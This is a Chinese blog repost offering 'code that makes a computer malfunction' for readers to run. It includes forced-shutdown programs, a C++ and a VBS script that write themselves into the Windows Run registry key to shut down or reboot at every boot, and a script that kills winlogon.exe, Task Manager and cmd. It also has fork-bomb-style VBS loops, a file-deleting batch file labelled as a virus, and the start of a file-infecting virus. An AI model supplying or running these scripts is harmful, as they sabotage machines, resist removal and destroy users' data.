让电脑运行错误的一些代码
时间:2019-09-28
本文章向大家介绍让电脑运行错误的一些代码,主要包括让电脑运行错误的一些代码使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
让电脑运行错误的一些代码
可以用来运行一下,你的电脑可能会发生......但大家都知道,病毒是恐怖的,你可以做一些有趣的代码.
关机代码
#include using namespace std; void main() { system(“cmd /c shutdown -s -t 60”); //这是调用cmd system(“pause”); } 相信这很简单吧! 还有个方法 #include #include<shlobj.h> #include<shellapi.h> using namespace std; void main() { ShellExecute(NULL,“open”,“cmd.EⅩE”,"/c shutdown -s -t 60",NULL,SW_HIDE); system(“pause”); }
加强版本
``` // shutdownDemo.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <windows.h> BOOL MySystemShutdown() { HANDLE hToken; //用于操作的句柄 TOKEN_PRIVILEGES tkp; //用于存放特定信息 // Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return(FALSE); // Get the LUID for the shutdown privilege. //如果要提权的话要在下面这两个函数提权 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get the shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); if (GetLastError() != ERROR_SUCCESS) return FALSE; // Shut down the system and force all applications to close. if (!ExitWindowsEx(EWX_REBOOT| EWX_FORCE, SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_UPGRADE | SHTDN_REASON_FLAG_PLANNED)) return FALSE; //shutdown was successful return TRUE; } int _tmain(int argc, _TCHAR* argv[]) { getchar(); HKEY hKey = { 0 }; /*LONG RegOpenKeyEx( HKEY hKey, // 需要打开的主键的名称 LPCTSTR lpSubKey, //需要打开的子键的名称 DWORD ulOptions, // 保留,设为0 REGSAM samDesired, // 安全访问标记,也就是权限 PHKEY phkResult // 得到的将要打开键的句柄 )*/ RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey); //打开一个指定的注册表键 char path[MAX_PATH] = { 0 }; GetModuleFileNameA(nullptr, path, MAX_PATH); //获取当前文件路径 RegSetValueEx(hKey, "ShutDown", 0, REG_SZ, (byte*)path, strlen(path)); MySystemShutdown(); return 0; } ```
卡死代码
#include <stdio.h> void main() { long int i; while(i < =100000000) { printf("你"完"了"); i--; } }
打开无数计算机
```
set wsh=createobject(“wscript.shell”) do wsh.run “calc” loop 这段代码是打开无数个计算器,直到死机 ,也是保存为.vbs格式
```
VBS系列格式代码
甩不掉的魔鬼
```
WScript.Echo(“嘿,谢谢你打开我哦,我等你很久拉!”&TSName) WScript.Echo(“你是可爱的小朋吗?”) WScript.Echo(“哈,我想你拉,这你都不知道吗?”) WScript.Echo(“怎么才来,说~是不是不关心我”) WScript.Echo(“哼,我生气拉,等你这么久,心都凉啦。”) WScript.Echo(“小强很生气,后果很严重哦。”) WScript.Echo(“嘿嘿!你也会很惨滴哦”) WScript.Echo(“是不是想清除我?”) WScript.Echo(“那你要点上50下哦,不过会给你惊喜滴”) WScript.Echo(“还剩49下,快点点哦”) WScript.Echo(“还剩48下,快点,小笨蛋!”) WScript.Echo(“还剩47下对,就这样快点点!”) WScript.Echo(“还剩46下。你啊就是笨,要快哦,我先不打扰你工作。”) WScript.Echo(“还剩45下,记得要快哦!”) WScript.Echo(“还剩43下”) WScript.Echo(“还剩42下”) WScript.Echo(“还剩41下”) WScript.Echo(“还剩40下”) WScript.Echo(“还剩39下”) WScript.Echo(“还剩38下”) WScript.Echo(“还剩37下”) WScript.Echo(“还剩36下”) WScript.Echo(“还剩35下”) WScript.Echo(“还剩34下”) WScript.Echo(“还剩33下”) WScript.Echo(“还剩32下”) WScript.Echo(“还剩30下”) WScript.Echo(“还剩29下”) WScript.Echo(“还剩28下”) WScript.Echo(“还剩27下”) WScript.Echo(“还剩26下”) WScript.Echo(“还剩25下”) WScript.Echo(“还剩24下”) WScript.Echo(“还剩23下”) WScript.Echo(“还剩22下”) WScript.Echo(“还剩21下”) WScript.Echo(“还剩20下”) WScript.Echo(“还剩19下”) WScript.Echo(“还剩18下”) WScript.Echo(“还剩17下”) WScript.Echo(“还剩16下”) WScript.Echo(“还剩15下”) WScript.Echo(“还剩14下”) WScript.Echo(“还剩13下停停!!!慢点,我有话要说”) WScript.Echo(“还剩12下,你继续点我就会消失滴”) WScript.Echo(“还剩11下,以后就看不到我拉。555555”) WScript.Echo(“还剩10下,你现在可以选择停止!”) WScript.Echo(“还剩9下。你还点啊,不要我拉?”) WScript.Echo(“还剩8下,有点伤心拉,干嘛丢弃人家”) WScript.Echo(“还剩7下。疯了,你有点负意!”) WScript.Echo(“还剩6下。对。你就点吧,我恨你!”) WScript.Echo(“还剩5下,不明白,删除我你就好吗?”) WScript.Echo(“还剩4下!真要删除我?”) WScript.Echo(“还剩3下。可是我真的很眷恋你。。。”) WScript.Echo(“还剩2下。不要这么绝情嘛,人家是爱你的!”) WScript.Echo(“还剩1下。哼,既然你这么绝情。也别怪我无义!!!”) WScript.Echo(“我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。”) WScript.Echo(“想结素我么?那你就再多点一次”) WScript.Echo(“想结素我么?那你就再多点一次”) WScript.Echo(“想结素我么?那你就再多点一次”) WScript.Echo(“想结素我么?那你就再多点一次”) 改成.vbs
```
糊弄
```
while(1) msgbox “哈哈 你被耍了!” loop vbs. ```
程序病毒
熊猫烧香
``
@echo off echo 正在加载熊猫烧香病毒,请稍等...... echo 准备删除系统文件。。。 del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp del /f /q %userprofile%\cookies\*.* del /f /q %userprofile%\recent\*.* del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*" del /f /s /q "%userprofile%\recent\*.*" echo 清理系统垃圾完成!
蓝屏代码
```
#include <windows.h> #define NUM 32767 LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { static int iKeep[NUM][4]; HDC hdcScr, hdcMem; int cx, cy; HBITMAP hBitmap; HWND hwnd; int i, j, x1, y1, x2, y2; if (LockWindowUpdate(hwnd = GetDesktopWindow())) { hdcScr = GetDCEx(hwnd, NULL, DCX_CACHE | DCX_LOCKWINDOWUPDATE); hdcMem = CreateCompatibleDC(hdcScr); cx = GetSystemMetrics(SM_CXSCREEN) / 10; cy = GetSystemMetrics(SM_CYSCREEN) / 10; hBitmap = CreateCompatibleBitmap(hdcScr, cx, cy); SelectObject(hdcMem, hBitmap); srand((int)GetCurrentTime()); for (i = 0; i < 2; i++) for (j = 0; j < NUM; j++) { LockWindowUpdate(hwnd = GetDesktopWindow()); if (i == 0) { iKeep[j][0] = x1 = cx * (rand() % 10); iKeep[j][1] = y1 = cy * (rand() % 10); iKeep[j][2] = x2 = cx * (rand() % 10); iKeep[j][3] = y2 = cy * (rand() % 10); } else { x1 = iKeep[NUM - 1 - j][0]; y1 = iKeep[NUM - 1 - j][1]; x2 = iKeep[NUM - 1 - j][2]; y2 = iKeep[NUM - 1 - j][3]; } BitBlt(hdcMem, 0, 0, cx, cy, hdcScr, x1, y1, SRCCOPY); BitBlt(hdcScr, x1, y1, cx, cy, hdcScr, x2, y2, SRCCOPY); BitBlt(hdcScr, x2, y2, cx, cy, hdcMem, 0, 0, SRCCOPY); } DeleteDC(hdcMem); ReleaseDC(hwnd, hdcScr); DeleteObject(hBitmap); } return 0; } ``` **加强版** ``` for each ps in getobject(“winmgmts:\.\root\cimv2:win32_process”).instances_ ifUcase(ps.name)=Ucase(“winlogon.exe”) then ps.terminate end if next for each ps ingetobject(“winmgmts:\.\root\cimv2:win32_process”).instances_ ifUcase(ps.name)=Ucase(“winlogon.exe”) then ps.terminate end if next Setws=CreateObject(“WScript.Shell”) setfs=createobject(“scripting.filesystemobject”) dim a1,a2,a3,thn,i thn=wscript.scriptfullname a1=fs.getparentfoldername(fs.GetSpecialFolder(0)) fs.copyfilethn,a1&"\admin123.vbs",true do while i<10 i=i+1 ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin",“C:\admin123.vbs” loop ws.run “shutdown -s -f -t 60” do wscript.sleep 500 if ws.appactivate(“Windows 任务管理器”)=truethen ws.run “taskkill /f /imTaskmgr.exe” end if if ws.appactivate(“命令提示符”)=truethen ws.run “taskkill /f /im cmd.exe” end if ifws.appactivate(“C:\WINDOWS\system32\cmd.exe”)=true then ws.run “taskkill /f /im cmd.exe” end if if ws.appactivate(“系统关机”)=falsethen ws.run “shutdown -s -f -t 30” end if loop 改成.vbs ``` 一般病毒 ``` #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { char input[10]; system("shutdown -s -t 60"); flag: printf("1分钟之后关机,请输入\"我是猪\"三个字解除\n"); scanf("%s",input); if(strcmp(input, "我是狗") == 0) { system("shutdown -a"); } else { goto flag; } return 0; }
```
另外分了一些类:
https://blog.csdn.net/ebirth/column/info/37645
小块:
https://blog.csdn.net/ebirth/article/details/89279857
https://blog.csdn.net/ebirth/article/details/89289191
https://blog.csdn.net/ebirth/article/details/89406594
https://blog.csdn.net/ebirth/article/details/89407353
https://blog.csdn.net/ebirth/article/details/89407353
https://blog.csdn.net/ebirth/article/details/89279690
https://blog.csdn.net/ebirth/article/details/89785638
最后,在给你们介绍一个加快电脑速度的代码:
``` #include<windows.h> using namespace std; int main(){ system("start C:/a.exe"); } ```
运行一下.......
你发现会闪现,点击程序栏,按Ctrl+C停止程序,试一试.
```
void vir() { string CurFileName = __FILE__;//绝对路径 string obCurFileName //相对路径 = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1); WIN32_FIND_DATA FindFileData; HANDLE hFind = FindFirstFile("*.c*", &FindFileData); string VirusCode[100];//病毒代码 string FileCode[500]; //宿主代码 int CodeLen = 0;//病毒代码长度 int FileLen = 0;//宿主代码长度 ```
原文地址:https://www.cnblogs.com/rebirth-death2019/p/11603517.html
- Spring Cloud Edgware新特性之七:可选的EnableDiscoveryClient注解
- 【LEETCODE】模拟面试-46. Permutations
- CentOS6 Upgrade Python
- Emacs setup for Go Development
- 【LEETCODE】模拟面试-39. Combination Sum
- Docker系列教程12-使用Maven插件构建Docker镜像
- Linux nohup 用法
- 【LEETCODE】模拟面试-84-Largest Rectangle in Histogram
- Docker系列教程11-使用Nexus管理Docker镜像
- Mac 配置终端环境
- 【LEETCODE】模拟面试-101-Symmetric Tree
- Docker系列教程10-使用Docker Registry管理镜像
- webapp开发调试环境--weinre配置
- AWK 深入浅出教程
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- CS学习笔记 | 20、通过Socks转发的方法
- 构建的抽象
- 低成本个人建站系列二 —— 使用 Hexo+GitHub 搭建个人免费博客
- 42图揭秘,「后端技术学些啥」
- R-ggTimeSeries | ggplot2: 热力日历图
- R-wordcloud: 词云图
- 直播APP源码是如何实现音视频同步的
- 动态规划算法练习(5)--medium
- phpstudy漏洞分析原因到修复
- 哈?命令注入外带数据的姿势还可以这么骚?
- 记一次曲折的RCE挖掘
- pytest文档49-命令行参数--tb的使用
- pytest文档50-命令行参数--durations统计用例运行时间
- pytest文档51-内置fixture之cache使用
- pytest文档53-命令行实时输出错误信息(pytest-instafail)